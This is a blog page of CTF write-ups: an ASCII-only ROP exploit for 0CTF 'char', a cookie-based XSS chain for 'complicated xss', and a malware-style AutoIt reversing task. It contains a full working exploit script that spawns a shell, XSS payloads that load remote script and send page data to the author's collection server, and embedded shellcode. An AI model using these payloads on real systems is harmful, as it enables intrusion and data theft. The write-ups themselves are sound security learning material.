Monday, March 20, 2017

0CTF 2017 - char (shellcoding 132)

The code in the "char" task was rather simple - you get to send in 2400 bytes of input (using scanf's "%2400s", so no whitechars allowed), then the input gets checked whether there are any non-ASCII characters (also excluding all control characters like newlines or tabs) and if that condition was met it would be copied using strcpy to a waaay-to-small stack-based buffer to trigger a standard stack-based buffer overflow. Since the application was compiled with NX, ROP was the go to solution.

One important detail is that the authors made it easier to solve by mapping a certain (provided) libc file directly into R-X memory starting at an ASCII-friendly address of 0x5555E000 - this was to be the main and only source of gadgets for this task.

So all that was left was to create an ASCII-friendly (w/o whitechars) ROP chain that gets either a shell or the flag directly. And it took me about an hour per controlled register (so ~5 hours total) to do it.

The exploit with quoted gadgets is provided at the end of this post, but before I'll get there here are some notes on my approach:

  • For gadget gathering I used a custom distorm3-based script that outputted only gadgets on ASCII-friendly addresses (it's at the end of the post).
  • Initial idea was to use mmap syscall to allocate a new RWX memory area, but that plan backfired since 32-bit mmap requires a defined structure in memory and I didn't really have an easy way to access writable memory (non-ASCII-friendly addresses).
  • Eventually I went after mprotect syscall to change 0x5555E000 area's permissions to RWX; mprotect required me to control 3 registers for parameters (EBX, ECX and EDX) and EAX for syscall number (and, as it turned out, ESI for the syscall invocation).
  • I started by doing a simple experiment to check how flexible mprotect's parameters really are (I've done it in a separate simple test program); thanks to this I found out that:
    - The address parameter MUST be page aligned (well, I actually already knew that).
    - The size parameter can be anything large; if it's too large mprotect returns an error, but still successfully remaps the existing pages to desired access rights (this I didn't know).
    - The protection flags (permissions) parameter isn't too flexible; value 0xF (instead of 7) still worked, but that's about it (any other bytes set made mprotect fail).
  • The first gadget I found was EB FE (jmp $ - i.e. infinite loop) which is super useful for debugging purposes (i.e. checking until what moment the ROP chain works correctly).
  • The rest of the way I went register-by-register, focusing on a single one until I was able to assign it the desired value.
  • For EDX (see setup_edx_flags) register I used three ASCII-friendly subtractions to get value 7 (representing RWX) into the register. The values themselves (0x6b5e7b63 - 0x3b363f38 - 0x30283c24 → 7) were generated using a simple helper z3 script (attached after the exploit near the end of this post). A lot of registers were corrupted due to the low quality of gadgets I had, so it was first on the execution list.
  • For EBX (see setup_ebx_addr) register I used three ASCII-friendly xor's to get address 0x55562000. Note that this isn't the beginning of the memory area, since you cannot get bytes with most significant bits set using ASCII-friendly xor's (i.e. you couldn't get the 0xE0 byte from 0x5555E000; but that's OK). Again, the values I've used were z3 generated (0x28243062 ^ 0x24222c22 ^ 0x59503c40 → 0x55562000).
  • For EAX (see setup_eax_mprotect) I've initially set the register to 0x4141417d and then used a movzx eax, al gadget the clear top 24-bits leaving only 0x7d (i.e. mprotect syscall number).
  • For ECX I didn't have to do anything, as it already had a sufficiently large value when the syscall was to be executed. Lucky me :)
  • Invoking the syscall (or actually a int 0x80 gadget) turned out to be tricky, as none of the gadgets were on ASCII-friendly addresses. I've ended up calculating the gadget address into ESI register (again, courtesy of z3: 0x69787631 + 0x7c74247b + 0x6f783045 → 0x5564caf1) and then using a fun little push esi; ret gadget which jumped to the int 0x80.
  • The above chain piece gave ma a writable and executable memory area. I initially thought of putting a shellcode there, but in the end it was sufficient to put (see poke) "/bin//sh" string on an address that had a null-byte naturally occurring at the end of said string, and then use that for execve function call (not to be confused with the execve syscall).
  • I've jumped to the execve function using exactly the same method I used to jump to the int 0x80 gadget. The parameters (on the stack, as, again, it was a function call and not a syscall invocation) included the address of the aforementioned "/bin//sh\0" string, followed by two addresses of a NULL ptr in memory (these would be treated as "empty argv" and "empty envp" tables).
And that was it.

gynvael:haven> python pwnbase.py 
Final ROP length: 312
You maybe feel some familiar with this challenge ? 
Yes, I made a little change 
GO : ) 

cat /home/char/flag
flag{Asc11_ea3y_d0_1t???}

A pretty fun task :)

The full exploit follows (and the z3 script is at the bottom).

#!/usr/bin/python
import sys
import socket
import telnetlib 
import os
import time
from struct import pack, unpack

def recvuntil(sock, txt):
  d = ""
  while d.find(txt) == -1:
    try:
      dnow = sock.recv(1)
      if len(dnow) == 0:
        print "-=(warning)=- recvuntil() failed at recv"
        print "Last received data:"
        print d
        return False
    except socket.error as msg:
      print "-=(warning)=- recvuntil() failed:", msg
      print "Last received data:"
      print d      
      return False
    d += dnow
  return d

def recvall(sock, n):
  d = ""
  while len(d) != n:
    try:
      dnow = sock.recv(n - len(d))
      if len(dnow) == 0:
        print "-=(warning)=- recvuntil() failed at recv"
        print "Last received data:"
        print d        
        return False
    except socket.error as msg:
      print "-=(warning)=- recvuntil() failed:", msg
      print "Last received data:"
      print d      
      return False
    d += dnow
  return d

# Proxy object for sockets.
class gsocket(object):
  def __init__(self, *p):
    self._sock = socket.socket(*p)

  def __getattr__(self, name):
    return getattr(self._sock, name)

  def recvall(self, n):
    return recvall(self._sock, n)

  def recvuntil(self, txt):
    return recvuntil(self._sock, txt)  

# Base for any of my ROPs.
def db(v):
  return pack("<B", v)

def dw(v):
  return pack("<H", v)

def dd(v):
  return pack("<I", v)

def dq(v):
  return pack("<Q", v)

def rb(v):
  return unpack("<B", v[0])[0]

def rw(v):
  return unpack("<H", v[:2])[0]

def rd(v):
  return unpack("<I", v[:4])[0]

def rq(v):
  return unpack("<Q", v[:8])[0]

def set1(ebx=0x41414141, esi=0x41414141, edi=0x41414141, ebp=0x41414141):
  """
  0x5557506c    pop ebx
  0x5557506d    pop esi
  0x5557506e    pop edi
  0x5557506f    pop ebp
  0x55575070    ret
  """
  return ''.join([
    dd(0x5557506c),
    dd(ebx),
    dd(esi),
    dd(edi),
    dd(ebp)
  ])

def set_ebx(ebx):
  """
  0x556a7742    pop ebx
  0x556a7743    ret
  """
  return ''.join([
    dd(0x556a7742),
    dd(ebx)
  ])

def set_eax(eax):  # Destroys ECX.
  return ''.join([
    set_ecx(eax),
    mov_eax_ecx()
  ])

def set_esi(esi):
  """
  0x55686c72    pop esi
  0x55686c73    ret
  """
  return ''.join([
    dd(0x55686c72),
    dd(esi)
  ])

def set_ecx(ecx):  # AL+0xA
  """
  0x556d2a51    pop ecx
  0x556d2a52    add al, 0xa
  0x556d2a54    ret
  """
  return ''.join([
    dd(0x556d2a51),
    dd(ecx)
  ])

def mov_eax_ecx():
  """
  0x556a6253    mov eax, ecx
  0x556a6255    ret
  """
  return dd(0x556a6253)
  

def set_edx_edi(edx=0x41414141, edi=0x41414141): # Zeroes EAX
  # 0x555f3555    pop edx
  # 0x555f3556    xor eax, eax
  # 0x555f3558    pop edi
  # 0x555f3559    ret
  return ''.join([
    dd(0x555f3555),
    dd(edx),
    dd(edi),
  ])  

def set_ebp(ebp):
  """
  0x5557506f    pop ebp
  0x55575070    ret
  """
  return ''.join([
    dd(0x5557506f),
    dd(ebp)
  ])

def add_esi_ebx():
  """
  0x555c612c    add esi, ebx
  0x555c612e    ret
  """
  return dd(0x555c612c)

def ret_to_esi():
  """
  0x556d262a    push esi
  0x556d262b    ret
  """
  return dd(0x556d262a)

def mov_ptr_edx_edi():
  """
  0x55687b3c    mov [edx], edi
  0x55687b3e    pop esi
  0x55687b3f    pop edi
  0x55687b40    ret
  """
  return ''.join([
    dd(0x55687b3c),
    dd(0x41414141),
    dd(0x41414141),    
  ])

def poke(addr, v):
  return ''.join([
    set_edx_edi(addr, v),
    mov_ptr_edx_edi(),
  ])

def setup_esi_syscall():
  # desired = 0x000EEAF1 + 0x5555E000
  # Constants generated by z3 helper script.
  a2 = 0x69787631
  a1 = 0x7c74247b
  a3 = 0x6f783045
  # Test:  0x5564caf1L (True)

  return ''.join([
    set_esi(a1),
    set_ebx(a2),
    add_esi_ebx(),
    set_ebx(a3),
    add_esi_ebx()    
  ])

def setup_esi_execve():
  # desired = 0xB85E0 + 0x5555E000
  # Constants generated by z3 helper script.
  # sat
  a2 = 0x69747441
  a1 = 0x7378747e
  a3 = 0x78747d21
  # Test:  0x556165e0L (True)

  return ''.join([
    set_esi(a1),
    set_ebx(a2),
    add_esi_ebx(),
    set_ebx(a3),
    add_esi_ebx()    
  ])

def sub_edx_eax():  # Destroys: EAX, ESI, EDI, EBP
  """
  0x5560365c    sub edx, eax
  0x5560365e    pop esi
  0x5560365f    mov eax, edx
  0x55603661    pop edi
  0x55603662    pop ebp
  0x55603663    ret
  """
  return ''.join([
    dd(0x5560365c),
    dd(0x41414141),
    dd(0x41414141),
    dd(0x41414141)    
  ])

def setup_ebx_addr():
  # Constants generated by z3 helper script.
  a2 = 0x28243062
  a1 = 0x24222c22
  a3 = 0x59503c40
  # Test:  0x55562000L (True)

  return ''.join([
    set_ebx(a1),
    set_ebp(a2),
    xor_ebx_ebp(),
    set_ebp(a3),
    xor_ebx_ebp()    
  ])

def setup_edx_flags():
  # Constants generated by z3 helper script.
  a1 = 0x6b5e7b63
  a2 = 0x3b363f38
  a3 = 0x30283c24
  # Manual test: 7 True
  
  return ''.join([
    set_edx_edi(a1),
    set_eax(a2),
    sub_edx_eax(),
    set_eax(a3),
    sub_edx_eax(),
  ])

def zeroext_al():  # Destroys EDI, EBP
  """
  0x55672a79    movzx eax, al
  0x55672a7c    pop edi
  0x55672a7d    pop ebp
  0x55672a7e    ret

  """
  return ''.join([
    dd(0x55672a79),
    dd(0x41414141),
    dd(0x41414141),    
  ])

def setup_eax_mprotect():
  return ''.join([
    set_eax(0x4141417d),  # 7d is mprotect
    zeroext_al()
  ])
  

def xor_ebx_ebp():
  """
  0x5563364b    xor ebx, ebp
  0x5563364d    ret
  """
  return dd(0x5563364b)

def ebfe():
  return dd(0x55585559)

def genrop():
  rop = ''.join([
    "AAAA" * 8,  # Padding.

    setup_edx_flags(),    # Don't touch EDX after this. Destroys: EAX ESI
                          #                                       EDI EBP
                          #                                       ECX

    setup_esi_syscall(),  # Don't touch ESI after this. Destroys: EBX

    setup_ebx_addr(),     # Don't touch EBX after this. Destroys: EBP

    setup_eax_mprotect(), # Don't touch EAX after this. Destroys: ECX EDI
                          #                                       EBP

    ret_to_esi(), "AAAA" * 4, # int 0x80 gadget pops 4x regs.

    # Assume from now: 55562000-55702000 rwxp 00004000
    poke(0x55563333 + 0, rd("/bin")),
    poke(0x55563333 + 4, rd("//sh")),

    setup_esi_execve(),  # Don't touch ESI after this. Destroys: EBX

    ret_to_esi(), dd(0x41414141),
    dd(0x55563333), dd(0x556b5274), dd(0x556b5274),  # Args

    ebfe()
  ])

  print "Final ROP length:", len(rop)

  if len(rop) > 2400:
    sys.exit("ROP is waaay too long.")

  if not all(map(lambda x: ord(x) in range(32, 127), rop)):
    sys.exit("ROP GEN FAILED:" + ''.join(map(lambda x:hex(ord(x)), filter(lambda x: ord(x) not in range(32, 127), rop))))
  
  return rop

def go():  
  global HOST
  global PORT

  rop = genrop()

  #with open("chain.rop", "wb") as f:
  #  f.write(rop)

  #return

  s = gsocket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((HOST, PORT))
  
  # Put your code here!
  s.sendall(rop)

  # Interactive sockets.
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

  # Python console.
  # Note: you might need to modify ReceiverClass if you want
  #       to parse incoming packets.
  #ReceiverClass(s).start()
  #dct = locals()
  #for k in globals().keys():
  #  if k not in dct:
  #    dct[k] = globals()[k]
  #code.InteractiveConsole(dct).interact()

  s.close()

HOST = '202.120.7.214'
PORT = 23222
go()

The simple z3 helper script to generate values (it's rather simple and boils down to "I can do two subtractions/additions/xors on 32-bit ASCII-friendly values; give me specific values that will result in obtaining the desired value"):

from z3 import *
import json

desired = 0xB85E0 + 0x5555E000  # The final value.

a1 = BitVec("a1", 32)
a2 = BitVec("a2", 32)
a3 = BitVec("a3", 32)

res = a1 + a2 + a3  # The operation (addition in this case).

s = Solver()
s.add(res == desired)

for a in [a1, a2, a3]:
  for b in [0, 8, 16, 24]:
    bb = ((a >> b) & 0xff)
    s.add(bb > 32, bb <= 126)

print s.check()
s.model()

# Dumping the calculated values and testing the model again.
test = 0
for reg in list(s.model()):
  reg_name = str(reg)
  reg_value = s.model()[reg].as_long()
  test = (test + reg_value) & 0xffffffff
  print "%s = %s" % (reg_name, hex(reg_value))

print "# Test: ", hex(test), "(" + str(test == desired) + ")"

And the custom ROP gadget gathering script:

import distorm3 # https://code.google.com/p/distorm/downloads/list
import struct

# XXX Setup here XXX
TARGET_FILE = "libc.so"          
FILE_OFFSET_START = 0 # In-file offset of scan start
FILE_OFFSET_END = 1717736 # In-file offset of scan start
VA = 0x5555E000 # Note: PC is calculated like this: VA + given FILE_OFFSET
X86_MODE = distorm3.Decode32Bits # just switch the 32 or 64
# XXX End of setup XXX

UNIQ = {}
def DecodeAsm(pc, d):
  global X86_MODE

  disasm = distorm3.Decode(pc, d, X86_MODE)

  k = []
  l = ""
  ist = ""

  for d in disasm:
    #print d
    addr = d[0]
    size = d[1]
    inst = d[2].lower()
    t = "0x%x    %s" % (addr,inst)
    l += t + "\n"
    ist += "%s\n" % (inst)
    k.append((addr,inst))
    if inst.find('ret') != -1:
      break

  return (l,k,ist)

d = open(TARGET_FILE, "rb").read()

for i in xrange(FILE_OFFSET_START,FILE_OFFSET_END):
  addr = VA+i
  s = map(lambda x: ord(x) in range(32, 127), struct.pack(">I", addr))
  if not all(s):
    continue

  (cc,kk,ist) = DecodeAsm(VA+i, d[i:i+10])
  if cc.find('ret') == -1:
    continue

  if cc.find('iret') != -1:
    continue

  if cc.find('db ') != -1:
    continue

  if ist in UNIQ:
    continue

  UNIQ[ist] = True  

  print "------> offset: 0x%x" % (i + VA)
  for k in kk:
    print "0x%x    %s" % (k[0],k[1])
    if k[1].find('ret') != -1:
      break

  print ""


0CTF 2017 - complicated xss (web 177)


Complicated xss was a client-side web security task revolving around, well, XSSes. At the very start you were handed a way to XSS the admin (limited by proof of work) and the location of the flag - http://admin.goverment.vip:8000. And well, all you knew.

I started by writing a solved for the proof-of-work, since that would be needed to get any real testing done anyway. First I wanted to do an "at request" brute force, but in the end I decided that a proof-of-work with 24-bit solution space can just be pre-calculated (24-bits means it is only 16 milion hashes - not a lot). So I've run the following script (note that I calculated more hashes just to decrease the probability of missing a hash substring on the generated list):

import md5
for i in range(0, 0x2000000):
  s = "%.8x" % i
  print "%s %s" % (md5.md5(s).hexdigest(), s)

Then I've run sort (the command line tool) on the output, and saved it to md5sump.sorted file (about 1.5 GB). Since I took care for each line to be same size, the final file was ideal for binary search and resulted in ~0.0005sec  (~32 seeks; Windows was nice enough to cache the file in RAM) per proof-of-work on average.

Having that solved I prepared another tool - one to do fast submissions so I wouldn't have to go through the website each time. The tool was basically an infinite loop that grabbed a new proof-of-work substring, binary-searched for the solution (and repeated in the event of not having a given substring on the list), and waited for me to press enter; then it grabbed payload.js file and uploaded its content to the challenge server, and restarted the loop. The tool itself:

import httplib
import re
import urllib
import time

PHPSESSID = "164l560708f930f473k1s461a1"

def fetch_substr():
  headers = {"Cookie": "PHPSESSID=" + PHPSESSID}
  conn = httplib.HTTPConnection("government.vip")
  conn.request("GET", "/", "", headers)
  r1 = conn.getresponse()
  data1 = r1.read()
  res = re.search(r"=== '([0-9a-f]+)'\).", data1)
  conn.close()
  return res.group(1)

def submit_payload(s):
  with open("payload.js", "rb") as f:
    payload = f.read()

  params = urllib.urlencode({
      'task': s, 
      'payload': payload
  })

  headers = {
      "Cookie": "PHPSESSID=" + PHPSESSID,
      "Content-type": "application/x-www-form-urlencoded"
  }

  conn = httplib.HTTPConnection("government.vip")
  conn.request("POST", "/run.php", params, headers)
  r = conn.getresponse()
  data = r.read()
  conn.close()
  return data

def solution(s):
  line_len = len("0000000702e3e0e0848435ed83afff57 00451787\r\n")

  with open("md5dump.sorted", "rb") as f:
    L = 0
    R = 33554432-1

    while R - L > 1:
      C = L + (R - L) / 2
      offset = C * line_len
      f.seek(offset)
      ln = f.read(line_len).strip()
      #print ln

      head = ln[:6]
      if s == head:
        return ln.split(" ")[1]

      if s < head:
        R = C
        continue

      L = C

    return None

print "Complicated XSS payload sender."

while True:
  print "\n------------------ New Stage"

  while True:
    s = fetch_substr()
    print "New substring:", s
    st = time.time()
    s = solution(s)
    en = time.time()
    print "Solution:", s, "(in %f sec)" % (en - st)
    if s is not None:
      break

  print "Ready. Press ENTER to fire."
  raw_input()

  print "Sending payload..."
  print "Result:", submit_payload(s)

There was one more tool I needed before I could focus on the task - a sink for whatever I leak from the server. In my case it took the form of a small PHP script on one of my WWW servers:

<?php

$f = fopen("/tmp/0ctf", "w");
$date = date('Y-m-d H:i:s');
fwrite($f, $date . "\n\n");
if (!isset($_REQUEST['b'])) {
  fwrite($f, "---no data---\n");
} else {
  $b = $_REQUEST['b'];
  $b = str_replace(" ", "+", $b);

  fwrite($f, $b . "\n\n---decoded---\n");
  fwrite($f, base64_decode($b));
}
fclose($f);

The script basically received data (supported both GET and POST), decoded it (assuming it was base64 encoded) and saved to /tmp/0ctf file.

On one of the terminals I actually had watch cat /tmp/0ctf running, so if any data was sent in, I would immediately see it.

After all that code I could finally start the task (well OK, to be honest parts of these tools were modified/improved when I already worked on the task).

The first thing I checked was whether the XSS we were handed in admin.government.vip:8000 or in government.vip:80 context - it turned out the latter, so the first order of business was to find an XSS in the former.

It turned out that admin.government.vip:8000 was using a cookie called username that contained the, well, name of the user. And it was displayed by server-side in an unsanitized way, so that was our vector right there.

The admin.government.vip:8000 side for username=test

Given that we already were given code execution on government.vip domain, and that the same origin policy for cookies ignores the port, we could create a "all subdomains"-scoped username cookie with the initial XSS to overwrite the username cookie in the admin.government.vip:8000 context. Then it still took several minutes to get the proper XSS payload in the cookie (URL encoding wasn't decoded and semicolons in cookies have a special meaning, so the cookie-javascript-payload could not have any semicolons at all), but finally I arrived at this (it's the initial payload that was submitted on the first form):

'"><script>
// This script contains pieces of code which I used for
// "looking around" in earlier stages. I'll leave it here
// since someone might find it interesting.
var sendstuff = function(data) {
  var http = new XMLHttpRequest();
  var url = "http://gynvael.coldwind.pl/0ctf.php";
  var params = "b=" + btoa(data);
  http.open("POST", url, true);
  http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  http.send(params);
};

uname = "test<img src=a onerror=k=document.createElement('script'),k.setAttribute('src','http://gynvael.coldwind.pl/0ctfstage2.js'),document.body.appendChild(k)>";
document.cookie = "username="+uname+" ;domain=.government.vip;path=/";

var f = document.createElement("iframe");
f.setAttribute('src', 'http://admin.government.vip:8000/');
f.onload = function () {
  /*
  try {
    //var k = Object.keys(f.contentWindow);
    var output = "";
    for (var k in f) {
      output += k + ": " + f[k] + "\n";    
    }

    sendstuff(output);
  } catch (e) {
    sendstuff("Error: "+e);
  }*/
};
document.body.appendChild(f);

</script>

The XSS payload in the cookie (see the "uname =" line) basically creates a <script> element (in admin.government.vip:8000 context) with src pointing to the second stage javascript file placed somewhere on my servers.

The second stage (admin.government.vip:8000 context) greeted me with a "javascript sandbox":

<title>Admin Panel</title>
<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>

Since I actually used XMLHttpRequest to leak data, I wasn't too happy about that, but it turned out that it was enough to create a new IFRAME object and grab XMLHttpRequest object from its contentWindow property.

...
var f = document.createElement('iframe');
f.setAttribute('src', '/upload');
f.onload = function() {
  window.XMLHttpRequest = f.contentWindow.XMLHttpRequest;
  //sendstuff("works again");
  ...
};
document.body.appendChild(f);
...


Leaking the document.body.innerHTML revealed an upload form:

<p>Upload your shell</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></p>
<p><input type="submit" value="upload">
</p></form>

Since XMLHttpRequest was available again, I was able to use it to upload a JavaScript-created file (using FormData and Blob) and receive (and leak) the reply using the following snippet:

try {

  var xhr = new XMLHttpRequest;
  xhr.open("POST", "/upload", true);
  xhr.onreadystatechange = function() {
    if (xhr.readyState === 4) {
      sendstuff(xhr.responseText);
    }
  };

  var formData = new FormData();
  var content = "ala ma kota";
  var blob = new Blob([content], {type: "text/plain"});
  formData.append("file", blob, "hithereasdf.txt");

  xhr.send(formData);

} catch (e) {
  sendstuff("Error: " + e);
}

I actually expected that I'll have to e.g. upload a PHP shell and look for the flag through that, but it turned out that that was enough and the server awarded me with a flag in the response! :)


In case the screenshot is too small:

# cat /tmp/0ctf
2017-03-18 22:16:31

ZmxhZ3t4c3NfaXNfZnVuXzIzMzMzMzN9

---decoded---
flag{xss_is_fun_2333333}

And that's it!

The full stage2 payload follows:

var lamesend = function(data) {
  var f = document.createElement('iframe');
  f.setAttribute('src', 'http://gynvael.coldwind.pl/0ctf.php?b=' + btoa(data));
  document.body.appendChild(f);
}

var sendstuff = function(data) {
  var http = new XMLHttpRequest();
  var url = "http://gynvael.coldwind.pl/0ctf.php";
  var params = "b=" + btoa(data);
  http.open("POST", url, true);
  http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  http.send(params);
}


var f = document.createElement('iframe');
f.setAttribute('src', '/upload');
f.onload = function() {
  window.XMLHttpRequest = f.contentWindow.XMLHttpRequest;
  //sendstuff("works again");

  try {

  var xhr = new XMLHttpRequest;
  xhr.open("POST", "/upload", true);
  xhr.onreadystatechange = function() {
    if (xhr.readyState === 4) {
      sendstuff(xhr.responseText);
    }
  };

  var formData = new FormData();
  var content = "ala ma kota";
  var blob = new Blob([content], {type: "text/plain"});
  formData.append("file", blob, "hithereasdf.txt");

  xhr.send(formData);

  } catch (e) {
    sendstuff("Error: " + e);
  }

};
document.body.appendChild(f);



Sunday, October 30, 2016

EKOPARTY CTF 2016 - Malware sample (RE 400)

In short, the reversing category 400 pts challenge was a journey starting with negligible x86-64 boilerplate code, leading through a somewhat obfuscated AutoIt script, and back to a small x86-64 shellcode with a small surprise. It wasn't hard in the end, but some parts were more tricky in execution than it was expected. For Dragon Sector this task was solved by myself (Gynvael) and KeiDii.

The task came with the following description (please note that the Hint was not there at the beginning and was added later on - I'll refer back to it later on):



The ZIP contained a single 980 kB x86-64 PE file. Upon starting the executable in a Windows 7 VM it turned out to look more like a traditional CrackMe than malware:

We've started a routine inspection by running string -e l (that's UTF-16LE), which in turn revealed the true nature of the executable:

AutoIt v3 GUI
Script Paused
Control Panel\Mouse
SwapMouseButtons
>>>AUTOIT NO CMDEXECUTE<<<
CMDLINERAW
...

Given that it was a turned-to-PE AutoIt script, we've started looking how to decompile it and found out that a decompiler in fact exists (it's called Exe2Aut), but it's capable of working only with 32-bit binaries. Luckily, we've also found this blog post explaining how to deal with the problem. In short, the idea was to decouple the AutoIt boilerplate binary from the compiled script itself, and then attach it to a 32-bit version of the boilerplate. We did it in a similar way to the one described in the aforementioned post and got a 32-bit binary which indeed worked well with the decompiler.

The output script looked more or less like this (full script; you don't have to analyze it, just take a quick peek):

If NOT IsDeclared("Os") Then Global $os
#OnAutoItStartRegister "A1000006132_"
Global $a2600703926 = a1000006132($os[1]), $a1400902026 = a1000006132($os[2])
Global $a2000500a55
$a0c0060322b = Number($a2600703926)
$a6200802f29 = Number($a1400902026)

Func a4a00102828()
If NOT IsDeclared("SSA4A00102828") Then
Global $a1b00b01a61 = a1000006132($os[3]), $a3000d0193f = a1000006132($os[4]), $a1b00e03c30 = a1000006132($os[5]), $a2700f03e40 = a1000006132($os[6]), $a3310004c2d = a1000006132($os[7])
Global $ssa4a00102828 = 1
EndIf
$a3000a0204b = Binary($a1b00b01a61)
$a4700c03d12 = a4300204f0a(Number($a3000d0193f), BinaryLen($a3000a0204b), $a0c0060322b, $a6200802f29)
$a2000500a55 = DllStructCreate($a1b00e03c30 & BinaryLen($a3000a0204b) & $a2700f03e40, $a4700c03d12)
DllStructSetData($a2000500a55, Number($a3310004c2d), $a3000a0204b)
EndFunc
...
Func a1000006132_()
For $ax0x0xa = 1 To 5
Local $a1000006132sz_ = a1000006132x_()
FileInstall("rev400.au3.tbl", $a1000006132sz_, 1)
Global $a1000006132, $os = Execute(BinaryToString("0x457865637574652842696E617279746F737472696E6728273078343537383635363337353734363532383432363936453631373237393734364637333734373236393645363732383237333037383335333333373334333733323336333933363435333633373335333333373330333634333336333933373334333233383334333633363339333634333336333533353332333633353336333133363334333233383332333433343331333333313333333033333330333333303333333033333330333333363333333133333333333333323337333333373431333534363332333933323433333233373334333933333334333333343336333933323337333234333333333133323339323732393239272929"))
If IsArray($os) AND $os[0] >= 43 Then ExitLoop
Sleep(10)
Next
Execute(BinaryToString("0x457865637574652842696E617279746F737472696E6728273078343537383635363337353734363532383432363936453631373237393734364637333734373236393645363732383237333037383333333133323432333433363336333933363433333633353334333433363335333634333336333533373334333633353332333833323334333433313333333133333330333333303333333033333330333333303333333633333331333333333333333233373333333734313335343633323339323732393239272929"))
EndFunc

Func a1000006132x_()
Local $a1000006132s1_ = a1000006132("4054656D70446972"), $a1000006132s3_ = a1000006132("31"), $a1000006132s4_ = a1000006132("5c"), $a1000006132s5_ = a1000006132("5c"), $a1000006132s6_ = a1000006132("37"), $a1000006132s8_ = a1000006132("3937"), $a1000006132s9_ = a1000006132("313232"), $a1000006132s7_ = a1000006132("31"), $a1000006132sa_
Local $a1000006132s2_ = Execute($a1000006132s1_)
If StringRight($a1000006132s2_, Number($a1000006132s3_)) <> $a1000006132s4_ Then $a1000006132s2_ = $a1000006132s2_ & $a1000006132s5_
SRandom(Number(StringRight(TimerInit(), 4)))
Do
$a1000006132sa_ = ""
While StringLen($a1000006132sa_) < Number($a1000006132s6_)
$a1000006132sa_ = $a1000006132sa_ & Chr(Random(Number($a1000006132s8_), Number($a1000006132s9_), Number($a1000006132s7_)))
WEnd
$a1000006132sa_ = $a1000006132s2_ & $a1000006132sa_
Until NOT FileExists($a1000006132sa_)
Return ($a1000006132sa_)
EndFunc
...

So there is an obvious string obfuscation in play, done in a threefold way:
  • a1000006132($os[...]) - the a1000006132 function is basically an equivalent of Python 2's str.decode("hex"); the $os is a global array that I'll touch on soon.
  • a1000006132("...") - just direct calls to a1000006132, without using the $os global array.
  • Execute(BinaryToString("0x...")) - basically same as a1000006132, but with 0x at the beginning of the strings; also, the result is passed to Execute (which basically is an eval-like function).
The bottom two obfuscations are solvable immediately. The last one (found to be multi-layered) revealed some interesting code snippets related to the $os array:

Local $a1000006132sz_ = a1000006132x_() // temporary file name
FileInstall("rev400.au3.tbl", $a1000006132sz_, 1)
$os = StringSplit(FileRead($A1000006132sz_),'I44i',1);
...
1+FileDelete($A1000006132sz_)

So in short, some data is extracted to a temporary file, then read back, split with "I44i" used as the delimiter, and temporary file itself gets removed. The result of the split results in the $os array, so we need to find our what it is. There are several ways to approach this; we decided to do it like this:
  1. Check exactly where the file is placed (with Process Monitor from Sysinternals / Microsoft).
  2. Using NTFS ACLs, deny "delete" privilege to the current user (note that FileDelete's return value is not checked).
  3. Run the application and let it extract the file, and then grab it (as the app will not be able to remove it).
The process itself can be described with these three screenshots:

Step 1:

Step 2:
Step 3:
After the last step the file txjizsh can be read from the directory - it was found to contain a healthy amount of data encoded as HEX digits. The files can be found here:
Having the decoded version it was possible to deobfuscate the rest of the script (see this file). At this point the most interesting function is the following:

Func a390040381d()
If NOT IsDeclared("SSA390040381D") Then
Global $ssa390040381d = 1
EndIf
$user_flag = InputBox("EkoParty2016 - CTF", "Enter your flag")
If FLAG_CHECK($user_flag) = Number("4919") Then
MsgBox(Number("0"), "EkoParty2016 - CTF", "Congratulations your flag is: eko{" & $user_flag & "}")
Else
MsgBox(Number("0"), "EkoParty2016 - CTF", "You shall not pass")
EndIf
EndFunc

The FLAG_CHECK function itself looks like this:

Func FLAG_CHECK($flag_string)
Global $ssa1a0030164c = 1
EndIf
If $flag_string = "" Then Return ""
make_shellcode()
Local $dll_stru1 = DllStructCreate("byte[" & (StringLen($flag_string) + Number("1")) & "]")
DllStructSetData($dll_stru1, Number("1"), $flag_string)
DllStructSetData($dll_stru1, StringLen($flag_string) + Number("1"), Number("0"))
$dll_stru2 = DllStructCreate("dword")
DllStructSetData($dll_stru2, Number("1"), Number("0"))
$useless1 = DllCall("user32.dll", "uint", "CallWindowProc", "ptr", DllStructGetPtr($shell_struct), "ptr", DllStructGetPtr($dll_stru1), "uint", StringLen($flag_string), "ptr", DllStructGetPtr($dll_stru2))
Return DllStructGetData($dll_stru2, Number("1"))
EndFunc

And the make_shellcode one:

Func make_shellcode()
If NOT IsDeclared("SSA4A00102828") Then
Global $str_shellcode = "0x48895C2408488974241048897C24184C897424208B01498BD88B51088BF0448B4904448BDA448B510C458BC2440FB7F2418BD10FB7F8418BC6C1EE1033C641C1EB10C1EA1041C1E810410FB7C9450FB7CA3D332600007522418D04363DCBA600007569418BC333C73D5C530000755D418D043B3D9C9300007552418BC133C23D030100007546418D04113D93C90000753B418BC033C13D6F060000752F418D04083D8FE600007524428D0C8983C1138D42374103C033C881F931D20200750DC70337130000B837130000EB09C703FFFFFFFF83C8FF488B5C2408488B742410488B7C24184C8B742420C3CCCCCCCCCCCC"
Global $ssa4a00102828 = 1
EndIf
$bin_shellcode = Binary($str_shellcode)
$alloc_mem = kern32Alloc(Number("0"), BinaryLen($bin_shellcode), $int_4096, $int_64)
$shell_struct = DllStructCreate("byte[" & BinaryLen($bin_shellcode) & "]", $alloc_mem)
DllStructSetData($shell_struct, Number("1"), $bin_shellcode)
EndFunc

Decoding the shellcode yields an x86-64 payload that looks like this (binary file download):


In short, the [rcx+NN] references 4 * 4 bytes of the flag, and then a series of checks follows, and 0x1337 (4919 decimal) is returned if all checks pass.

Having this we wondered what's the best way to solve it, and decided that using Z3 will be the fastest way to do it (the code isn't pretty - I don't use Z3 a lot - but it works):

from z3 import *
A = BitVec('A', 32)
B = BitVec('B', 32)
C = BitVec('C', 32)
D = BitVec('D', 32)

eax = BitVec('eax', 32)
ecx = BitVec('ecx', 32)
edx = BitVec('edx', 32)
edi = BitVec('edi', 32)
esi = BitVec('esi', 32)
r8d = BitVec('r8d', 32)
r9d = BitVec('r9d', 32)
r10d = BitVec('r10d', 32)
